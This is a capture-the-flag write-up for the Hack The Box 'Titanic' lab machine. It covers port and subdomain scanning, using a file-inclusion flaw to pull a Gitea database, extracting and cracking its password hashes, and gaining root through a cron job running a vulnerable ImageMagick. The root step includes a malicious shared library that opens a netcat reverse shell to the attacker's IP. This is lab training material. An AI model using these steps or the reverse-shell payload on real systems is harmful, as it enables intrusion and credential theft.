![[Figure 1 - Titanic.png]] # Reconnaissance ```bash ┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~] └──╼ [★]$ target_ip=10.129.211.172 ┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~] └──╼ [★]$ target_domain=titanic.htb ┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic] └──╼ [★]$ echo -e "$target_ip\t$target_domain" | sudo tee -a /etc/hosts 10.129.211.172 titanic.htb ┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic] └──╼ [★]$ sudo nmap -sC -sV -oA nmap/full.tcp -p- $target_ip Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-18 13:40 CST Nmap scan report for 10.129.211.172 Host is up (0.011s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA) |_ 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519) 80/tcp open http Apache httpd 2.4.52 |_http-title: Did not follow redirect to http://titanic.htb/ |_http-server-header: Apache/2.4.52 (Ubuntu) Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.40 seconds ``` # Initial Access ## Discovering a Local File Inclusion (LFI) Vulnerability Before navigating to the target system's web server, I started Burp Suite to proxy all web traffic. It is good practice to have automated reconnaissance running in the background, so a directory brute force was started. With Burp Suite's built-in web browser, I navigated to the target domain. Manual enumeration revealed a "Book Now" form where users could provide their name, email, phone number, travel date, and cabin type. Once the form is submitted, a `.json` file is automatically downloaded. This file contains the user's booking information. To better understand what is going on, I looked at the HTTP history in Burp Suite. A `POST` request is made when the user submits a booking request. The target web server responds with an `HTTP 302 FOUND` status code and redirects the user to a new URL based on the `Location` header. This is what causes the automatic download of the `.json` file. The `GET` request has a `ticket` parameter specifying the file viewed/downloaded. This functionality can be abused to read local files on the target system by providing the absolute path. I attempted to read various files on the target system that contained sensitive information. However, I could not locate anything useful so I continued to enumerate the target system. ![[Figure 2 - Landing Page.png]] ![[Figure 3 - Book Now.png]] ![[Figure 4 - Submitting the Form.png]] ![[Figure 5 - Viewing JSON File.png]] ![[Figure 6 - HTTP History.png]] ![[Figure 7 - LFI Vulnerability.png]] ## Pillaging a Gitea Instance The initial directory brute force did not reveal anything promising, so I did a subdomain brute force. This led to the discovery of a `dev` subdomain. After adding it to my `/etc/hosts` file, I was able to access a Gitea instance. There, I found the source code for the target application, which confirmed that the system is vulnerable to a local file inclusion (LFI) attack. ```bash ┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic] └──╼ [★]$ ffuf -H "Host: FUZZ.$target_domain" -c -w "/usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt" -u http://$target_domain -fw 20 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://titanic.htb :: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt :: Header : Host: FUZZ.titanic.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response words: 20 ________________________________________________ dev [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 19ms] :: Progress: [4989/4989] :: Job [1/1] :: 4651 req/sec :: Duration: [0:00:01] :: Errors: 0 :: ``` ![[Figure 8 - Gitea Instance.png]] ![[Figure 9 - App.py Source Code.png]] Additionally, the Gitea instance had Docker compose files for Gitea and MySQL. The LFI was used to confirm the existence of these files on the target system. The one I was most interested in was for Gitea itself. The Gitea Docker compose file had a volume that mapped `/home/developer/gitea/data` to `/data` in the Docker container. Docker volumes provide a mechanism for persistent data generated by and used for Docker containers. Per the Gitea documentation, all customization files will be placed in the `/data/gitea` directory. The configuration file for the Gitea instance can be found in `/data/gitea/conf/app.ini`, relative to the Docker container. Due to the Docker volume, this file can be viewed relative to the target system by replacing `/data` with `/home/developer/gitea`, resulting in the file's absolute path being `/home/developer/gitea/data/gitea/conf/app.ini. ![[Figure 10 - Docker Compose File.png]] ![[Figure 11 - Using LFI to View Docker Compose File.png]] ![[Figure 12 - Gitea Configuration File.png]] # Execution ## Extracting Credentials from a Gitea Database File In the configuration file, the path to the Gitea database is `PATH = /data/gitea/gitea.db`. With the LFI, I am able to view and download the database file to my local system. To do so, simply save the response and delete all headers. With the `file` command I verify that the database was not corrupted and connect to it. The database contained a list of users and their password hashes. With some command-line magic, I was able to extract the required information from the database file and store it in a format suitable for Hashcat to crack. And just like that, I had credentials that could be used to access the target system via SSH. ![[Figure 13 - Gitea Database File.png]] ![[Figure 14 - Saving Gitea Database File.png]] ```bash ┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic] └──╼ [★]$ vi gitea.db ┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic] └──╼ [★]$ file gitea.db gitea.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 562, database pages 509, cookie 0x1d9, schema 4, UTF-8, version-valid-for 562 ┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic] └──╼ [★]$ sqlite3 gitea.db SQLite version 3.40.1 2022-12-28 14:03:47 Enter ".help" for usage hints. sqlite> .tables sqlite> .schema user sqlite> .mode line sqlite> select * from user; id = 1 lower_name = administrator name = administrator full_name = email = [email protected] keep_email_private = 0 email_notifications_preference = enabled passwd = cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136 passwd_hash_algo = pbkdf2$50000$50 must_change_password = 0 login_type = 0 login_source = 0 login_name = type = 0 location = website = rands = 70a5bd0c1a5d23caa49030172cdcabdc salt = 2d149e5fbd1b20cf31db3e3c6a28fc9b language = en-US description = created_unix = 1722595379 updated_unix = 1722597477 last_login_unix = 1722597477 last_repo_visibility = 0 max_repo_creation = -1 is_active = 1 is_admin = 1 is_restricted = 0 allow_git_hook = 0 allow_import_local = 0 allow_create_organization = 1 prohibit_login = 0 avatar = 2e1e70639ac6b0eecbdab4a3d19e0f44 avatar_email = [email protected] use_custom_avatar = 0 num_followers = 0 num_following = 0 num_stars = 0 num_repos = 0 num_teams = 0 num_members = 0 visibility = 0 repo_admin_change_team_access = 0 diff_view_style = theme = gitea-auto keep_activity_private = 0 id = 2 lower_name = developer name = developer full_name = email = [email protected] keep_email_private = 0 email_notifications_preference = enabled passwd = e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56 passwd_hash_algo = pbkdf2$50000$50 must_change_password = 0 login_type = 0 login_source = 0 login_name = type = 0 location = website = rands = 0ce6f07fc9b557bc070fa7bef76a0d15 salt = 8bf3e3452b78544f8bee9400d6936d34 language = en-US description = created_unix = 1722595646 updated_unix = 1722603397 last_login_unix = 1722603397 last_repo_visibility = 0 max_repo_creation = -1 is_active = 1 is_admin = 0 is_restricted = 0 allow_git_hook = 0 allow_import_local = 0 allow_create_organization = 1 prohibit_login = 0 avatar = e2d95b7e207e432f62f3508be406c11b avatar_email = [email protected] use_custom_avatar = 0 num_followers = 0 num_following = 0 num_stars = 0 num_repos = 2 num_teams = 0 num_members = 0 visibility = 0 repo_admin_change_team_access = 0 diff_view_style = theme = gitea-auto keep_activity_private = 0 ``` ```bash ┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic] └──╼ [★]$ sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY= developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y= ┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic] └──╼ [★]$ cat gitea.hashes | cut -d ":" -f2- | tee hashcat_gitea.hashes sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY= sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y= ┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic] └──╼ [★]$ hashcat hashcat_gitea.hashes /usr/share/wordlists/rockyou.txt ┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic] └──╼ [★]$ ssh [email protected] ``` # Privilege Escalation ## Non-Standard Scripts and Cron Jobs While enumerating the target system, I discovered a non-standard script in the `/opt` directory. The script changes directories into `/opt/app/static/assets/images`, effectively clears the `metadata.log` file, lists all `.jpg`s in the `/opt/app/static/assets/images` directory and runs `/usr/bin/magick identify` on each file while appending the output to the `metadata.log` file. Running `watch -n 30 -d ls -latr /opt/app/static/assets/images/metadata.log` shows the file's timestamp updating every minute. This behavior hints at the script being run every minute via a cron job. The `developer` user did not have any associated cron jobs running the script, so hopefully it is running as `root` because it turns out that the specific version of `magick` running on the target system allows for arbitrary code execution. ```bash developer@titanic:~$ ls -latr /opt/scripts/ total 12 -rwxr-xr-x 1 root root 167 Feb 3 17:11 identify_images.sh drwxr-xr-x 2 root root 4096 Feb 7 10:37 . drwxr-xr-x 5 root root 4096 Feb 7 10:37 .. developer@titanic:~$ cat /opt/scripts/identify_images.sh cd /opt/app/static/assets/images truncate -s 0 metadata.log find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log developer@titanic:~$ /usr/bin/magick --version Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org Copyright: (C) 1999 ImageMagick Studio LLC License: https://imagemagick.org/script/license.php Features: Cipher DPC HDRI OpenMP(4.5) Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib Compiler: gcc (9.4) ``` ## Loading a Malicious Shared Library The following shared library was created in the working directory of the script. After a minute or so the script ran and got a shell as `root`. ```bash gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF #include <stdio.h> #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void init(){ system("busybox nc 10.10.14.63 9001 -e sh"); exit(0); } EOF ``` ![[Figure 15 - Arbitrary Code Execution as Root.png]] # References - [Gitea Documentation](https://docs.gitea.com/installation/install-with-docker) - [Cracking Gitea Hashes](https://0xdf.gitlab.io/2024/12/14/htb-compiled.html) - [Arbitrary Code Execution in `AppImage` version `ImageMagick`]( https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8)